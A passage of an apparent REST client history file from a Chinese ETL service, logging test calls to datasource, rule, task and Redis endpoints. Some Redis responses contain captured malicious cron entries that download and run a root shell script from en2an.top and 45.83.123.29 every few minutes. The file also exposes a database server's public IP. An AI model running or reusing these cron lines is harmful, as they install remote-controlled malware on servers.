{\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":1.559962E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":1.599828E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":3.228772E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":4.844365E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":8.025463E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/redis/testDatabaseRedis\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"当前排队人数较多,请稍后再试!\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":1.0,\"nano\":9.734238E8}}},{\"url\":\"http://localhost:9098/redis/testDatabaseRedis\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"url\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": 6379\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": {\\n \\\"backup1\\\": \\\"\\\\n\\\\n\\\\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup4\\\": \\\"\\\\n\\\\n\\\\n*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup2\\\": \\\"\\\\n\\\\n\\\\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\\\\n\\\\n\\\",\\n \\\"backup3\\\": \\\"\\\\n\\\\n\\\\n*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh\\\\n\\\\n\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":2.0,\"nano\":1.868197E8}}}],\"/datasource/findDataSource\":[{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":16.0,\"minute\":52.0,\"second\":47.0,\"nano\":5.145096E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":16.0,\"minute\":53.0,\"second\":1.0,\"nano\":7.240568E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":16.0,\"minute\":54.0,\"second\":16.0,\"nano\":8.71361E7}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":2.0,\"second\":14.0,\"nano\":2.598368E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":17.0,\"second\":34.0,\"nano\":1.707191E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":18.0,\"second\":17.0,\"nano\":2.847898E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":20.0,\"second\":16.0,\"nano\":2.893693E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":21.0,\"second\":40.0,\"nano\":5.336429E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/datasource/findDataSource\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error querying database. Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.database_type\\u0027 in \\u0027field list\\u0027\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/DataSourceMapper.java (best guess)\\\\r\\\\n### The error may involve defaultParameterMap\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: SELECT t.id,t.database_description,t.link_address,t.port,t.database_name,t.status,t.explain,t.extra_evlop,t.database_type,t.create_time,t.update_time,t.create_by,t.update_by,t.is_delete,t1.data_source_type_name FROM t_data_source_etl t LEFT JOIN t_data_source_type t1 ON (t1.id \\u003d t.database_type)\\\\r\\\\n### Cause: java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.database_type\\u0027 in \\u0027field list\\u0027\\\\n; bad SQL grammar []; nested exception is java.sql.SQLSyntaxErrorException: Unknown column \\u0027t.database_type\\u0027 in \\u0027field list\\u0027\\\",\\\"data\\\":null}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":24.0,\"second\":15.0,\"nano\":7.32731E7}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"美美子的数据库\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"3306\\\",\\n \\\"databaseName\\\": null,\\n \\\"status\\\": null,\\n \\\"explain\\\": null,\\n \\\"extraEvlop\\\": null,\\n \\\"databaseType\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":17.0,\"minute\":29.0,\"second\":34.0,\"nano\":2.245754E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"dataSourceDescribe\\\": \\\"\\\",\\n \\\"dataSourceType\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":20.0,\"minute\":1.0,\"second\":10.0,\"nano\":4.880395E8}}},{\"url\":\"http://localhost:9098/datasource/findDataSource\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"databaseDescription\\\": \\\"美美子的数据库\\\",\\n \\\"linkAddress\\\": \\\"115.159.33.152\\\",\\n \\\"port\\\": \\\"3306\\\",\\n \\\"databaseName\\\": null,\\n \\\"status\\\": null,\\n \\\"explain\\\": null,\\n \\\"extraEvlop\\\": null,\\n \\\"databaseType\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":20.0,\"minute\":1.0,\"second\":16.0,\"nano\":5.197203E8}}}],\"/datasourcetype/findDataSourceType\":[{\"url\":\"http://localhost:9098/datasourcetype/findDataSourceType\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"dataSourceTypeName\\\": \\\"mysql\\\"\\n },\\n {\\n \\\"id\\\": 2,\\n \\\"dataSourceTypeName\\\": \\\"redis\\\"\\n }\\n ]\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":20.0,\"minute\":23.0,\"second\":45.0,\"nano\":9.348242E8}}}],\"/rule/findRule\":[{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"ruleTypeId\\\": 1,\\n \\\"codeTypeId\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/rule/findRule\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":27.0,\"second\":35.0,\"nano\":7.215382E8}}},{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/rule/findRule\\n\\n{\\\"code\\\":500,\\\"msg\\\":null,\\\"data\\\":null}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":27.0,\"second\":45.0,\"nano\":9.275278E8}}},{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":29.0,\"second\":52.0,\"nano\":8.563955E8}}},{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":30.0,\"second\":2.0,\"nano\":9.909806E8}}},{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":30.0,\"second\":4.0,\"nano\":4.18629E7}}},{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":30.0,\"second\":10.0,\"nano\":1.270511E8}}},{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3,\\n \\\"ruleTypeId\\\": 1,\\n \\\"codeTypeId\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":30.0,\"second\":27.0,\"nano\":1.11401E8}}},{\"url\":\"http://localhost:9098/rule/findRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"pageNum\\\": 1,\\n \\\"pageSize\\\": 3\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"ruleName\\\": \\\"as\\\",\\n \\\"ruleTypeId\\\": 1,\\n \\\"status\\\": null,\\n \\\"classPath\\\": null,\\n \\\"publicWay\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":32.0,\"second\":44.0,\"nano\":8.807568E8}}}],\"/rule/addRule\":[{\"url\":\"http://localhost:9098/rule/addRule\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"ruleName\\\": \\\"as\\\",\\n \\\"ruleTypeId\\\": 1,\\n \\\"status\\\": 1,\\n \\\"classPath\\\": \\\"\\\",\\n \\\"publicWay\\\": 1\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":30.0,\"second\":17.0,\"nano\":3.135725E8}}}],\"/task/findTask\":[{\"url\":\"http://localhost:9098/task/findTask\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": []\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":30.0,\"second\":49.0,\"nano\":1.31324E8}}},{\"url\":\"http://localhost:9098/task/findTask\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"msg\\\": \\\"操作成功\\\",\\n \\\"data\\\": [\\n {\\n \\\"id\\\": 1,\\n \\\"taskName\\\": \\\"任务一\\\",\\n \\\"taskId\\\": 1,\\n \\\"taskWeight\\\": null,\\n \\\"status\\\": null,\\n \\\"explain\\\": null\\n }\\n ]\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":27.0},\"time\":{\"hour\":9.0,\"minute\":33.0,\"second\":46.0,\"nano\":9.84212E7}}}],\"/task/addTask\":[{\"url\":\"http://localhost:9098/task/addTask\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"id\\\": 1,\\n \\\"taskName\\\": \\\"assd\\\",\\n \\\"taskId\\\": 1,\\n \\\"taskWeight\\\": 1,\\n \\\"status\\\": 1,\\n \\\"explain\\\": \\\"\\\",\\n \\\"createTime\\\": \\\"\\\",\\n \\\"updateTime\\\": \\\"\\\",\\n \\\"createBy\\\": 1,\\n \\\"updateBy\\\": 1,\\n \\\"isDelete\\\": 1\\n}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9098/task/addTask\\n\\n{\\\"code\\\":500,\\\"msg\\\":\\\"\\\\r\\\\n### Error updating database. Cause: java.sql.SQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near \\u0027explain ) VALUES ( 1,\\\\n\\u0027assd\\u0027,\\\\n1,\\\\n1,\\\\n1,\\\\n\\u0027\\u0027 )\\u0027 at line 6\\\\r\\\\n### The error may exist in com/etl/database/server/mapper/TaskMapper.java (best guess)\\\\r\\\\n### The error may involve com.etl.database.server.mapper.TaskMapper.insert-Inline\\\\r\\\\n### The error occurred while setting parameters\\\\r\\\\n### SQL: INSERT INTO t_task ( id, task_name, task_id, task_weight, status, explain ) VALUES ( ?, ?, ?, ?, ?, ? )\\\\r\\\\n### Cause: 